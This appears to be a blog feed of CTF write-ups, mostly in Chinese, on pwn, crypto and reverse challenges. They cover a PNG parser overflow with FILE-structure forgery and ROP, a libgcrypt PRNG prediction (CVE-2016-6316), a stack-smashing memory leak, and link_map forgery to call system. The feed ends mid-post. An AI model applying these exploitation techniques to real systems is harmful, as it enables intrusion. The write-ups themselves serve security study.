cmp_header(&png->header[4], "PLTE");
memcpy(&png->buf[png->s2], &buf[i], v4);
png->s2 += v4;
i += v4;
if ( png->s2 >= png->s1 )
{
v5 = parse_entry(png);
if ( !v5 )
return 0;
}
}
}
</pre></div>
<p><code>len</code> is the return value of <code>fread()</code> in main function. <br>
Its maximum value is <code>0x10000</code> because the third argument of <code>fread()</code> is equal to 0x10000.<br>
We can control the value of <code>len</code> easily through cutting the PNG files.<br>
<code>parse_png()</code> will parse from the start entry (<code>png->header</code> == "\x89PDF\x0d\x0a\x1a\x0a") at first.<br>
Next, calulate the offset of next entry and parse each by each until reach <code>IEND</code> entry.<br>
We can construct a PNG file, which has a entry that the real size is smaller than the size field.<br>
And then, the condition <code>len - i >= png->s1 - png->s2</code> will be satisfied and <code>v4</code> will be set to 2000.<br>
Overflow will happened because the size of <code>png->buf</code> is determined by <code>png->chunk_size</code>. </p>
<p>Sounds great. However, we still need to overcome a little trouble.<br>
First, each PNG entry has a crc field, so we cannot modify the PNG file directly.<br>
We must calulate the correct crc checksum for each entry in PNG file after modified.<br>
Second, <code>PNGParser</code> is a non-interactive program, it means ASLR will become a knotty problem.<br>
Most of heap exploitation skills need to know the memory layout.<br>
In fact, I didn't think out a efficient method to exploit this challenge through heap exploitation.<br>
However, at the same line, <code>memcpy()</code> is possible to trigger stack overflow ! </p>
<div class="highlight"><pre><span></span>int parse_entry(PNG *a1)
{
...
case 0xD:
LABEL_12:
a1->status = 0xE;
a1->s1 = 4;
a1->s2 = 0;
a1->buf = a1->next;
goto LABEL_17;
...
}
</pre></div>
<p>There is a switch case in <code>parse_entry()</code>. Accoring to <code>png->status</code>, entry will be handle by different ways.<br>
In the most case, <code>png->buf</code> will store the address of malloc buffer, except <code>png->status</code> is equal 0xd.<br>
In this case, <code>png->buf</code> will point to the address of <code>png->next</code> and <code>png->status</code> become 0xe.<br>
Let's see where is the varaible <code>png</code> ... It is a local variable in <code>main()</code>.<br>
Thus, if the entry which status is equal to 0xe happened overflow, we can control the partial stack of <code>main()</code>. </p>
<p>It seems to be left to do the ROP and shell out ... Not yet! O__Q<br>
Although we have overwriten the stack of <code>main()</code>, but we cannot go well to reach <code>return</code>.<br>
The segmentation fault will still happen in <code>feof()</code> because the file descriptor was overwritten.<br>
We must forge a fake FILE structure to prevent the program crashed.<br>
But, where can we forge the sturcture? Remember, we don't know the memory layout.<br>
I stucked at here for a while, then I found <code>tEXt</code> entry can help us!. <br>
The content of <code>tEXt</code> entry will be copy to the bss section whose address is <code>0x0804e4de</code>.<br>
Notice, null byte cannot appear in the <code>tEXt</code> entry, so we cannot forge it completely.<br>
Our goal is just that let <code>feof()</code> return gracefully. Luckily, the binary is x86 architecutre.<br>
Thus, we can reach the goal and forge the vtable in the FILE structure incidentally.<br>
I made one of vtable function to <code>add esp, 0xd8</code> and it will be used in <code>fread()</code>.<br>
After that, the control flow will enter our rop payload when executing <code>fread()</code>.<br>
Finally, we can do ROP easily and shell out! :)</p>
<p>exploit: <a href="https://ddaa.tw/exp/pngparser.py">exp.py</a> </p>
<p>flag: <code>FLAG{sh3_1s_b3t1fu1_#$%}</code></p>SECCON 2016 Binary+Crypto 200 Lost Decryption2016-12-13T02:43:00+08:002016-12-13T02:43:00+08:00ddaatag:ddaa.tw,2016-12-13:/seccon_re+crypto_200_lostdecryption.html<p>這題是 pwn 題被大家掃光之後<br>
不得以之下只好來看的題目...<br>
Crypto is so difficult. Orz</p>
<hr>
<p>題目給了三個檔案 <strong>cipher</strong>, <strong>libencrypt.so</strong>, <strong>flag.enc</strong><br>
cipher 沒辦法執行, 會噴出以下 error:</p>
<blockquote>
<p>./cipher: error while loading shared libraries: libdecrypt.so: cannot open shared object file: No such file or directory</p>
</blockquote>
<p>把 cipher 丟到 ida pro 以後可以大致分析出行為:</p>
<ol>
<li>Usage: cipher (encrypt|decrypt) key input output …</li></ol><p>這題是 pwn 題被大家掃光之後<br>
不得以之下只好來看的題目...<br>
Crypto is so difficult. Orz</p>
<hr>
<p>題目給了三個檔案 <strong>cipher</strong>, <strong>libencrypt.so</strong>, <strong>flag.enc</strong><br>
cipher 沒辦法執行, 會噴出以下 error:</p>
<blockquote>
<p>./cipher: error while loading shared libraries: libdecrypt.so: cannot open shared object file: No such file or directory</p>
</blockquote>
<p>把 cipher 丟到 ida pro 以後可以大致分析出行為:</p>
<ol>
<li>Usage: cipher (encrypt|decrypt) key input output</li>
<li>可以藉由第二個參數選擇要加密還是解密, 分別會 call <code>encrypt(buf, key)</code> 或 <code>decrypt(buf, key)</code></li>
<li>加密的方式是 block cipher, block size = key length = 16 byte</li>
<li>依序將加密或解密後的結果寫進 output file</li>
<li>如果 input 不是 16 的倍數, 最後會補上 padding</li>
</ol>
<p>這題的關鍵還是在 libencrypt.so 上, 裡面只有一個加密 function<br>
encrypt 會做 14 次 xor, xor key 由一個亂七八糟的 function 產生<br>
xor 完會將 block 的前半和後半做交換 </p>
<div class="highlight"><pre><span></span>258 void __fastcall encrypt(char *buf, char *key)
...
273 do
274 {
275 v5 = sub_8a0(b1, k1);
276 b0 ^= v5;
277 k1 = sub_8a0(k1, 0x9104F95DE694DC50LL);
278 xchg(&b0);
279 xchg(&k0);
280 --i;
281 }
282 while ( i );
...
286 }
</pre></div>
<p>如果有修過密碼學, 應該一眼就可以感覺出這是典型的 <strong>feistel cipher</strong><br>
feistel cipher 的特徵就是解密就是加密的倒過來<br>
所以這題其實不用看懂 <code>sub_8a0</code> 到底在做什麼<br>
直接拿來用就可以了<br>
k1 就是 feistel cipher 的 round key, 用來產生 xor 用的 key<br>
round key 不受 cipher 影響, 可以跑 14 round 得到所有的 round key<br>
可以用 ida pro decompile <code>sub_8a0</code> 寫一個解密的 function:</p>
<div class="highlight"><pre><span></span>void decrypt(int *buf)
{
__int64 k1[14] = {0x7071370944faa683, 0xc936fe92f5be592, 0xfb865e2b2a6216f, 0x89745418b4f3701d, 0xfa8b683d8876468f, 0xe2185b1aa6ace4c2, 0xf6f840cc5548b290, 0xeb42f12db34bcecc, 0xe3459923a1fadfda, 0x3ac1150762625475, 0xccb7b4ad260cfb29, 0xb2007c75f4bad138, 0x8850ec377c7449b6 , 0x1ba31bdc8631ecd6};
int b[2] = {buf[0], buf[1]};
xchg(&b);
for (int i = 13; i >= 0; i--) {
xchg(&b);
b[0] ^= sub_8a0(b[1], k1[i]);
}
xchg(&b);
buf[0] = b[0];
buf[1] = b[1];
}
</pre></div>
<p>編譯成執行檔後, 就可以拿來 decrypt flag.enc 的內容了 </p>
<p>flag: <code>SECCON{Decryption_Of_Feistel_is_EASY!}</code></p>HITCON CTF 2016 crypto 150 OTP2016-10-13T20:13:00+08:002016-10-13T20:13:00+08:00ddaatag:ddaa.tw,2016-10-13:/hitcon_crypto_150_otp.html<p>Sovled: 12 / 1024</p>
<p>今年是第一次以出題方的身分參加 HITCON CTF<br>
一直很擔心自己的題目不夠水準<br>
有一點低估自己的題目難度了<br>
以解題人數來看, 這題應該可以加到 200 分 </p>
<hr>
<p>otp 的行為是接收使用者的明文<br>
隨機產生一組長度等於 明文 + flag 的 xor key<br>
透過 xor 加密 明文 + flag 並回傳給使用者<br>
並且可以選擇透過何種方式產生 xor key </p>
<p>這題主要考的是 <strong>CVE-2016-6316</strong><br>
libgcrypt 實作 PRNG 有缺陷<br>
導致每獲得 580 byte 之後, 就可以算出接下來的 20 byte<br>
在取得 random number 以後, 都會取目前 random pool 的部分內容做 …</p><p>Sovled: 12 / 1024</p>
<p>今年是第一次以出題方的身分參加 HITCON CTF<br>
一直很擔心自己的題目不夠水準<br>
有一點低估自己的題目難度了<br>
以解題人數來看, 這題應該可以加到 200 分 </p>
<hr>
<p>otp 的行為是接收使用者的明文<br>
隨機產生一組長度等於 明文 + flag 的 xor key<br>
透過 xor 加密 明文 + flag 並回傳給使用者<br>
並且可以選擇透過何種方式產生 xor key </p>
<p>這題主要考的是 <strong>CVE-2016-6316</strong><br>
libgcrypt 實作 PRNG 有缺陷<br>
導致每獲得 580 byte 之後, 就可以算出接下來的 20 byte<br>
在取得 random number 以後, 都會取目前 random pool 的部分內容做 hash<br>
再存回 random pool 打亂 entropy<br>
原本演算法的設計是取 <code>pool[L-40:L+44]</code><br>
但 libgcrypt 在實作時卻取了 <code>pool[L-40:L-20] + pool[L:L+44]</code><br>
中間漏掉了一個 block, 導致在不需知道全部的 pool 的情況下<br>
就可以算出 next state<br>
詳細的原理在這篇: <a href="http://formal.iti.kit.edu/~klebanov/pubs/libgcrypt-cve-2016-6313.pdf">Entropy Loss and Output Predictability in theLibgcrypt PRNG</a> </p>
<p>文章中沒有詳細描述 libgcrypt 的 hash method<br>
需要自行 trace libgcrypt source code<br>
根據文件指出的 <code>mix_pool</code>, 會發現以下的程式碼</p>
<div class="highlight"><pre><span></span> 603 gcry_assert (pool_is_locked);
604 _gcry_sha1_mixblock_init (&md);
</pre></div>
<p>因此可以得知實作時是用 sha1 做 hash<br>
並且是透過 update 的方式取得 sha1 的結果<br>
我一開始沒看仔細, 實作 poc 的時候一直以為是每次取新的 sha1<br>
卡了一小段時間 Orz</p>
<p>得知以上幾點之後, 就可以開始解這題了<br>
步驟如下:</p>
<ol>
<li>加密時輸入長度為 580 byte 的明文, 接收到 580 + n byte 的密文</li>
<li>將明文和密文的前 580 byte xor, 得到 xor key 的前 580 byte, 也就是加密第 29 個 block 時, random pool 的 state</li>
<li>計算 <code>sha1_update(xorkey[560:580] + xorkey[0:44])</code>, 結果即是第 30 個 block 的 state</li>
<li>由於我們不知道 random pool 最早的狀態, 不能每個 block 陸續做 <code>sha1_update</code> 得到目前的 state</li>
<li>要利用類似 length extension attack 的手法, 將初始的常數換成上一次 sha1 的結果, 也就是 <code>xorkey[560:580]</code></li>
<li>將計算出的結果與密文 xor, 可以得到 flag 的前 20 byte</li>
<li>再次加密, 這次長度輸入 560 byte, 由於我們已經知道 flag 的前 20 byte, 因此一樣可以算出 580 byte 的 xor key</li>
<li>重做 2 ~ 4 步驟就可以得到 flag 剩下的部分</li>
</ol>
<p><a href="https://ddaa.tw/exp/otp.py">otp.py</a></p>
<p>flag: <code>hitcon{N0_n33d_t0_rev0k3_pr1v4te_k3y}</code></p>BCTF 2016 crypto 200 Special RSA2016-03-21T20:13:00+08:002016-03-21T20:13:00+08:00ddaatag:ddaa.tw,2016-03-21:/bctf_crypto_200_special_rsa.html<p>這題是很基本的 crypto 題目<br>
從有 94 隊解就知道了...= =<br>
不過我還是想了好久 QQ<br>
對現代密碼學實在不太擅長<br>
這次一邊解一邊研究模運算<br>
趁記憶深刻趕快寫這篇 write-up </p>
<hr>
<p>題目雖然叫 <strong>Special RSA</strong> 但是這題跟 RSA 其實沒有很大關連...<br>
還比較像 ElGamel encryption = =<br>
害我還跑去看 ElGamel 有什麼弱點 囧 </p>
<p>題目給了四個檔案:</p>
<ul>
<li>special_rsa.py</li>
<li>msg.txt</li>
<li>msg.enc</li>
<li>flag.enc</li>
</ul>
<p><code>special_rsa.py</code> 有 usage, 真好心 XD </p>
<blockquote>
<p>dada@ubuntu:~/bctf/special_rsa$ ./special_rsa.py<br>
usage: ./special_rsa.py enc …</p></blockquote><p>這題是很基本的 crypto 題目<br>
從有 94 隊解就知道了...= =<br>
不過我還是想了好久 QQ<br>
對現代密碼學實在不太擅長<br>
這次一邊解一邊研究模運算<br>
趁記憶深刻趕快寫這篇 write-up </p>
<hr>
<p>題目雖然叫 <strong>Special RSA</strong> 但是這題跟 RSA 其實沒有很大關連...<br>
還比較像 ElGamel encryption = =<br>
害我還跑去看 ElGamel 有什麼弱點 囧 </p>
<p>題目給了四個檔案:</p>
<ul>
<li>special_rsa.py</li>
<li>msg.txt</li>
<li>msg.enc</li>
<li>flag.enc</li>
</ul>
<p><code>special_rsa.py</code> 有 usage, 真好心 XD </p>
<blockquote>
<p>dada@ubuntu:~/bctf/special_rsa$ ./special_rsa.py<br>
usage: ./special_rsa.py enc|dec input.file output.file </p>
</blockquote>
<p>加密會把 input 切成很多個 block, 每個 256 byte<br>
每個 block 轉成 數字在用以下公式加密: </p>
<ol>
<li><code>c = (pow(k, r, N) * m) % N</code> </li>
</ol>
<p>c = cipher, m = plain, m < N<br>
r = random number, N = big prime<br>
r 會跟 c 包在一起再用 msgpack 打包<br>
k 沒有給...給了這題就不用解了 XD </p>
<p>解密有兩步驟: </p>
<ol>
<li><code>k_inv = modinv(k, N)</code> </li>
<li><code>m = pow(k_inv, r, N) * c % N</code> </li>
</ol>
<p><code>k_inv</code> 是 k 的模反元素 </p>
<p>解密的原理是: </p>
<div class="highlight"><pre><span></span> pow(k_inv, r, N) * c % N
= pow(k_inv, r, N) * ((pow(k, r, N) * m) % N) % N
= (pow(k_inv, r, N) % N) * ((pow(k, r, N) * m) % N) % N // pow(k_inv, r, N) = pow(k_inv, r, N) % N
= pow(k_inv, r, N) * (pow(k, r, N) * m) % N // (a % N * b % N) % N = a * b % N
= pow(k_inv * k, r, N) * m % N // (a * b) ^ r % N = (a ^ r % N) * (b ^ r % N) % N
= pow(1, r, N) * m % N // k * k_inv % N = 1
= m % N // m < N
= m
</pre></div>
<p>模運算有幾個重要的特性: </p>
<ol>
<li>% 運算子優先度最後 </li>
<li>滿足加法律 <ul>
<li><code>a + b % N = (a % N + b % N) % N</code></li>
</ul>
</li>
<li>減法等同加上倒數, 因此也滿足減法 <ul>
<li><code>a - b % N = (a % N - b % N) % N</code></li>
</ul>
</li>
<li>乘法等於連加, 因此滿足乘法 <ul>
<li><code>a * b % N = (a % N * b % N) % N</code> </li>
</ul>
</li>
<li>除法等同乘上倒數, 倒數就是模反元素 <ul>
<li><code>a * b_inv % N = (a % N / b % N) % N</code> </li>
</ul>
</li>
<li>指數等於連乘, 因此滿足指數律 (<code>^</code> 表示平方) <ul>
<li><code>(a * b) ^ r % N = (a ^ r % N) * (b ^ r % N) % N</code> </li>
<li><code>(a - b) ^ r % N = (a ^ r % N) / (b ^ r % N) % N</code> </li>
<li><code>g ^ (a + b) % N = (g ^ a % N) * (g ^ b % N) % N</code> </li>
</ul>
</li>
<li>任何數乘上模反元素的餘數會是 1<ul>
<li><code>a * a_inv % N = 1</code> </li>
</ul>
</li>
</ol>
<p>我們已知 <code>m</code>, <code>r</code>, <code>N</code>, 利用模運算的特性<br>
我們可以反推出 <code>k</code> 的值 </p>
<ol>
<li>求 m 的模反元素 <ul>
<li><code>m_inv = modinv(m, N)</code> </li>
</ul>
</li>
<li>將 c 乘上模反元素得到 pow(k, r, N) <ul>
<li><code>c * m_inv % N = pow(k, r, N) % N = pow(k, r, N)</code> </li>
</ul>
</li>
<li><code>msg.enc</code> 有兩個 block, 重複兩次得到 pow(k, r1, N), pow(k, r2, N) <ul>
<li><code>p1 = c1 * m_inv % N = pow(k, r1, N) % N = pow(k, r1, N)</code> </li>
<li><code>p2 = c2 * m_inv % N = pow(k, r2, N) % N = pow(k, r2, N)</code> </li>
</ul>
</li>
<li>由於底數相同, p1 & p2 可以做指數的加減法, 目標是求出 pow(k, 1, N) <ul>
<li><code>pow(k, 1, N) = k</code> </li>
<li>問題變成: <code>r1 * z1 + r2 * z2 = 1</code>, 解 z1 & z2 </li>
</ul>
</li>
<li><strong>Extended Euclid Algorithm</strong> 可以解此問題<ul>
<li><code>egcd(r1, r2) = [gcd(r1, r2), z1, r2]</code> </li>
<li>剛好 gcd(r1, r2) = 1 </li>
</ul>
</li>
<li>把 z1, z2 代回解 <code>pow(k, r1 * z1 + r2 * z2, N)</code> 即可求得 k </li>
</ol>
<p><a href="https://ddaa.tw/exp/special_rsa.py">POC</a> </p>
<p>flag: <code>BCTF{q0000000000b3333333333-ju57-w0n-pwn20wn!!!!!!!!!!!!}</code></p>Boston Key Party CTF 2016 Reverse 3 Harvard Jit in my pants2016-03-15T23:00:00+08:002016-03-15T23:00:00+08:00ddaatag:ddaa.tw,2016-03-15:/bkpctf_reverse_3_jit_in_my_pants.html<p>剛從成功嶺出來就撞上這場 CTF ... XD<br>
果然是醬油到爆<br>
雖然去成功嶺之前大概也差不多吧 囧 </p>
<hr>
<p>題目給了一個 elf 超混亂 看不懂<br>
但是包含了一些奇怪的字串<br>
丟去 google 可以發現這個 elf 是由 <strong>MyJIT</strong> 寫成的程式<br>
<a href="">MyJIt</a><br>
其實從題目名稱大概就猜得到這題是 just in time 生成的程式<br>
所以直接逆 elf 是很難看出程式邏輯的 </p>
<p>第一件事情就是 dump 出程式實際在執行的 code<br>
先用 <code>ltrace</code> 稍微看一下程式在幹麻<br>
經過一連串不知所云的 <code>malloc</code> & <code>free</code> 之後<br>
發現最後會用 <code>puts</code> 印出 <em>NOPE.</em><br>
可以直接在 puts 下斷點<br>
會發現有一塊 rwx 的 memory 在 …</p><p>剛從成功嶺出來就撞上這場 CTF ... XD<br>
果然是醬油到爆<br>
雖然去成功嶺之前大概也差不多吧 囧 </p>
<hr>
<p>題目給了一個 elf 超混亂 看不懂<br>
但是包含了一些奇怪的字串<br>
丟去 google 可以發現這個 elf 是由 <strong>MyJIT</strong> 寫成的程式<br>
<a href="">MyJIt</a><br>
其實從題目名稱大概就猜得到這題是 just in time 生成的程式<br>
所以直接逆 elf 是很難看出程式邏輯的 </p>
<p>第一件事情就是 dump 出程式實際在執行的 code<br>
先用 <code>ltrace</code> 稍微看一下程式在幹麻<br>
經過一連串不知所云的 <code>malloc</code> & <code>free</code> 之後<br>
發現最後會用 <code>puts</code> 印出 <em>NOPE.</em><br>
可以直接在 puts 下斷點<br>
會發現有一塊 rwx 的 memory 在 <code>0x778000</code><br>
dump 出來就會是 runtime 實際在運作的程式了 </p>
<p>轉回 asm 會發覺整段只有一個 function<br>
不知道能不能丟回 ida 轉 pseudo code...<br>
如果有人知道怎麼做麻煩教我一下 QQ<br>
這段 code 跳來跳去而且用了很多不常見的指令<br>
靜態分析看不太懂<br>
追一追就掉到 loop 裡了<br>
loop 裡會一直 call 那堆不知所云的 <code>malloc</code> </p>
<blockquote>
<p>0000000000778144 ff95f8feffff call qword [rbp-0x108] </p>
</blockquote>
<p>在這邊卡了一陣子<br>
後來回去追 elf 的流程發現 <code>0x4473ef</code> 在處理 output 訊息<br>
字串不是直接放在 rodata<br>
而是一個 byte 一個 byte 處理<br>
做出字串再丟到 <code>puts</code><br>
所以一開始沒有發現這個 function ...<br>
<code>0x4473ef</code> 會根據第一個參數的內容是 0 or 1 or 2<br>
決定要印出哪個字串 (Nope/Congraz.../Usage)<br>
往回追是什麼地方會 call <code>0x4473ef</code><br>
結果發現跟 call malloc 的是同一行...囧<br>
繼續往回追 rdi 是怎麼來的<br>
跟蹤一連串的 jmp 以後<br>
大概三四次吧 其實沒有很多<br>
可以找到比對 flag 的關鍵點 而且是線性比對<br>
所以可以用爆破的方式一個一個 byte 爆出 flag
<code>0x77827f</code> 會將正確的長度放在 rcx<br>
因此只要看目前正確的長度數量<br>
就可以判斷有沒有猜對了<br>
後面生成 flag 的部分我就懶得看了<br>
直接用爆破的方式爆出 flag </p>
<p>順帶一提 我一直以為 bostonkeyparty 的縮寫是 BKT<br>
前面先打好 prefix 結果怎麼爆都不對...</p>
<p>flag: <code>BKPCTF{S1de_Ch4nnel_att4cks_are_s0_1338}</code> </p>32C3CTF 2015 PWN 200 readme2015-12-31T18:21:00+08:002015-12-31T18:21:00+08:00ddaatag:ddaa.tw,2015-12-31:/32c3ctf_2015_pwn_200_readme.html<p>這題被安博給攔胡了 T_T<br>
沒發現 rodata 有 flag 可以 leak XD </p>
<hr>
<p>這題一開始打開來看沒什麼頭緒<br>
然後一堆隊伍都秒解出來 = =<br>
嘗試塞很長的 payload 結果發生奇怪的 crash<br>
<code>__GI_getenv (name=0x7ffff7b9c26b "BC_FATAL_STDERR_",...</code><br>
於是把 <code>LIBC_FATAL_STDERR</code> 當成關鍵字丟進 google<br>
找到一篇韓國 conference <em>inc0gnito</em> 的 <a href="http://inc0gnito.com/Inc0gnito/ssp.pdf">pdf</a><br>
裡面有提到觸發 stack guard 以後<br>
可以透過覆蓋環境變數 leak memory </p>
<div class="highlight"><pre><span></span># sysdeps/unix/sysv/linux/libc_fatal.c
/* Open a descriptor for /dev/ttyunless the user explicitly …</pre></div><p>這題被安博給攔胡了 T_T<br>
沒發現 rodata 有 flag 可以 leak XD </p>
<hr>
<p>這題一開始打開來看沒什麼頭緒<br>
然後一堆隊伍都秒解出來 = =<br>
嘗試塞很長的 payload 結果發生奇怪的 crash<br>
<code>__GI_getenv (name=0x7ffff7b9c26b "BC_FATAL_STDERR_",...</code><br>
於是把 <code>LIBC_FATAL_STDERR</code> 當成關鍵字丟進 google<br>
找到一篇韓國 conference <em>inc0gnito</em> 的 <a href="http://inc0gnito.com/Inc0gnito/ssp.pdf">pdf</a><br>
裡面有提到觸發 stack guard 以後<br>
可以透過覆蓋環境變數 leak memory </p>
<div class="highlight"><pre><span></span># sysdeps/unix/sysv/linux/libc_fatal.c
/* Open a descriptor for /dev/ttyunless the user explicitly
requests errors on standard error. */
constchar *on_2 = __secure_getenv("LIBC_FATAL_STDERR_");
if (on_2 == NULL || *on_2 == '\0')
fd= open_not_cancel_2 (_PATH_TTY, O_RDWR | O_NOCTTY | O_NDELAY);
if (fd == -1)
fd= STDERR_FILENO;
</pre></div>
<p>只要把 <code>LIBC_FATAL_STDERR</code> 隨便設一個值<br>
程式就會被 stderr 的訊息給噴回來了<br>
開啟 stack guard 後如果發生 bof 會噴出像這樣的錯誤訊息:</p>
<blockquote>
<p>*** stack smashing detected ***: ./readme.bin terminated<br>
Aborted (core dumped) </p>
</blockquote>
<p>pdf 提到透過覆蓋 <code>__libc_argv[0]</code><br>
把內容改成我們想要 leak 的 address<br>
就可以達成 infomation leak </p>
<div class="highlight"><pre><span></span># debug/fortify_fail.c
__libc_message(2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");
</pre></div>
<p>這題很好心也很壞心的讓我們可以在 <code>0x600d20</code> 寫值<br>
但是那邊也是 flag 的位置...囧<br>
我們可以把內容設成 <code>LIBC_FATAL_STDERR=xxx</code><br>
在 overflow 的時候在 552 offset 的位置蓋上 <code>0x600d20</code><br>
就可以控制 <code>LIBC_FATAL_STDERR</code> 的值了<br>
這樣就可以把 stderr 噴回來<br>
剩下的問題就是 leak 什麼內容<br>
這題雖然看似在 <code>0x600d20</code> 會把 flag 內容覆蓋掉<br>
但是在 elf 初始化時會把字串留在 <code>0x400d20</code> rodata 段上面<br>
因此這題把 <code>0x400d20</code> 的內容 leak 出來<br>
就可以獲得 flag 了 </p>
<blockquote>
<p>Hello!<br>
What's your name? Nice to meet you, .<br>
Please overwrite the flag: Thank you, bye!<br>
<code>*** stack smashing detected ***: 32C3_ELF_caN_b3_pre7ty_we!rd... terminated</code> </p>
</blockquote>
<p>exploit: <a href="https://ddaa.tw/exp/readme.py">meh.py</a> </p>
<p>flag: <code>32C3_ELF_caN_b3_pre7ty_we!rd</code> </p>HITCON 2015 PWN 200 blinkroot2015-10-20T01:23:00+08:002015-10-20T01:23:00+08:00ddaatag:ddaa.tw,2015-10-20:/hitcon_pwn_200_blinkroot.html<p>這次也是一題都沒解出來<br>
大概是沒天份吧<br>
不過其實後來知道怎麼偽造 link_map 以後<br>
比賽期間寫的 payload 一度已經很接近了...<br>
只是後來方向錯了 Orz... </p>
<hr>
<p>這題的程式非常簡單<br>
pseudo code 長這樣: </p>
<div class="highlight"><pre><span></span>char data[1024];
int main()
{
if (recvlen(0, data, 1024) == 1024) {
close(0);
close(1);
close(1);
data[(int)data] = (int128)(0x1000000000 | data[8]);
puts(data[16]);
}
exit(0);
}
</pre></div>
<p>前八個 byte 可以任意控制<br>
所以會造成任意寫值的問題
這題不知道用什麼方式<br>
組合語言是透過 xmm0 …</p><p>這次也是一題都沒解出來<br>
大概是沒天份吧<br>
不過其實後來知道怎麼偽造 link_map 以後<br>
比賽期間寫的 payload 一度已經很接近了...<br>
只是後來方向錯了 Orz... </p>
<hr>
<p>這題的程式非常簡單<br>
pseudo code 長這樣: </p>
<div class="highlight"><pre><span></span>char data[1024];
int main()
{
if (recvlen(0, data, 1024) == 1024) {
close(0);
close(1);
close(1);
data[(int)data] = (int128)(0x1000000000 | data[8]);
puts(data[16]);
}
exit(0);
}
</pre></div>
<p>前八個 byte 可以任意控制<br>
所以會造成任意寫值的問題
這題不知道用什麼方式<br>
組合語言是透過 xmm0 寫值<br>
能寫的位置一定要對齊 16 byte (addr & 0xf == 0)<br>
而且前 8 byte 還固定成 0x10<br>
所以不能單純靠改 <code>.dynamic</code> 來解這題<br>
那這題的作法是偽造 <em>link_map</em> 以後做 <em>dl_resolve</em><br>
目標讓呼叫 <code>puts(data[16])</code> 變成解出 <code>system[data[16]]</code> </p>
<p><em>dl_resolve</em> 是 ELF 有做 lazy binding 的時候<br>
function call 不會直接跳進 libc<br>
而是透過 got.plt 得到 function 的 index 後<br>
跳到 PLT0 才解析出 function 在 libc 中的位置<br>
簡單來說大概就是做這樣的事情<br>
<code>dl_runtime_resolve (link_map,index)</code><br>
<em>dl_resolve</em> 裡面還會 call <code>_dl_fixup</code><br>
<code>_dl_fixup</code> 才是真正去查 libc address 的地方 </p>
<p>以前考過的 <em>dl_resolve</em> 的做法<br>
是透過偽造 index<br>
讓 <code>__fix_up</code> 去解 symbol 時落在我們偽造的 <em>SYMTAB</em> 上面<br>
再讓查 <code>st_name</code> 時落在我們想要執行的 function 名稱<br>
這題的沒辦法去控制 index<br>
所以變成只能從偽造 <em>link_map</em> 下手 </p>
<p>根據我比賽時的整整 12 個小時的嘗試...<br>
完整的偽造 <em>link_map</em> 是不可能做到的 T__T<br>
原因是 <em>link_map</em> 中有一個 <code>l_scope</code> 的 member<br>
在 <code>_dl_fixup</code> 內部的 <code>_dl_lookup_symbol_x</code> 會用上<br>
<code>l_scope</code> 會指向 <em>link_map</em> 本身<br>
<em>link_map</em> 的結構是一個 linked_list<br>
每個 node 保存 elf 和有使用到的 shared library symbol<br>
<code>_dl_lookup_symbol_x</code> 比對所有 shared library 的 symbol<br>
試著找出目前 function call 的這個 symbol<br>
我們無法得知 glibc 的 <em>link_map</em> ... 所以不可能偽造成功 QQ </p>
<p>那 <em>dl_resolve</em> 還有一個利用方式是:<br>
如果 function 已經被解析過<br>
<a href="https://github.com/lattera/glibc/blob/master/elf/dl-runtime.c#L90">dl-runtime.c:90</a> </p>
<blockquote>
<p><code>if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) { ... }</code><br>
<code>else { ... }</code></p>
</blockquote>
<p>會直接進入 else, 不會進入 <code>_dl_lookup_symbols_x</code><br>
直接透過 <code>link_map->l_addr + sym->st_value</code> 得到結果<br>
這兩個值都可以透過偽造 <em>link_map</em> 來控制<br>
如果在已知 libc 版本的情況下<br>
我們可以讓 <code>l_addr</code> 或 <code>st_value</code> 其中一個是以解析過的 function<br>
另一個則透過 libc 算出適當的 offset<br>
就可以跳到任意函式了<br>
還有一個要注意的是<br>
原本 <em>dl_resolve</em> 解析完會將結果寫回 GOT 上<br>
但是 offset 亂掉了結果可能會是一個不能寫的區段<br>
所以還要偽造 <em>JMPREL</em> 結果能寫回去才行<br>
至於要寫到哪裡就隨意了 反正之後不會用上 </p>
<p>這題我先嘗試讓 <em>link_map</em> 落在 <code>__libc_start_main</code> 的 GOT<br>
這樣 <code>l_addr</code> 就會是 <code>__libc_start_main</code> 的 address<br>
再偽造 <code>STMTAB</code> 和 <em>JMPREL</em> 得到 <code>st_value</code> 並算出 system 的位置<br>
結果是成功的...但是這題有個問題是<br>
如果這樣子偽造, <em>link_map</em> 會在 <code>data - 0x48</code> 的位置<br>
但是 <em>SYMTAB</em> 的位置在 <code>link_map + 0x68 == data + 0x20</code><br>
<code>puts</code> 的參數卻是 <code>data[0x10]</code>...<br>
所以能執行的指令就變成不能超過 16 byte XD<br>
對於一般的題目倒也沒差<br>
但是這題把 fd 都關了所以只能把執行結果送回來而已<br>
16 byte 根本不夠用 Orz </p>
<p>第二次的做法就變成讓 <em>link_map</em> 完整的落在 data[512] 上<br>
<code>l_addr</code> 可以隨意控制<br>
再將 <em>SYMTAB</em> 偽造到 GOT 上<br>
滿足 <code>st_other != 0</code> 且 <code>st_value == libc address</code><br>
一樣要偽造 <em>JMPREL</em> 讓結果可以寫回去<br>
就可以解出任意的 libc function 了<br>
後來想想第二種的做法似乎限制比較少<br>
更好利用 </p>
<p>總結一下透過 <code>st_other</code> 的利用條件: </p>
<ol>
<li>已經有 glibc 可以算 offset</li>
<li>有大約 0x140 以上的 buffer 可以偽造 <em>link_map</em></li>
<li>取決於 function index, 越後面所需空間越大</li>
<li>可以 return 到 plt 上, 或是可以改 got 上的 <em>link_map</em></li>
<li>要已知可寫的 address ... 所以開 PIE 這招大概還是不能用 Orz</li>
</ol>
<p>flag: <code>hitcon{81inkr0Qt I$ #B|InK1n9#}</code></p>CSAW CTF 2015 web 500 Weebdate2015-09-22T00:24:00+08:002015-09-22T00:24:00+08:00ddaatag:ddaa.tw,2015-09-22:/csawctf_web_500_weebdate.html<p>這題能解出來要歸功於<br>
<strong>ding</strong>, <strong>happyholic1203</strong>, <strong>mangoking</strong>, <strong>jpeanut</strong><br>
已經把前面的問題都找出了<br>
我其實只是撿尾刀而已... </p>
<hr>
<p>不過還是厚著臉皮寫一下 write up<br>
不然這邊 web 分類文章都空空蕩蕩... </p>
<p>這題的背景故事是<br>
有一個叫做 <strong>Donald Trump</strong> 的傢伙在這個交友網站註冊了帳號<br>
用來當作販毒的聯絡管道云云<br>
需要破出他的二段式認證 (<code>password</code> + <code>TOTPKEY</code>) 登入他的帳號<br>
這題的 <code>flag = md5(TOTPKEY + password)</code> </p>
<p>這個交友網站除了一般的帳號密碼以外<br>
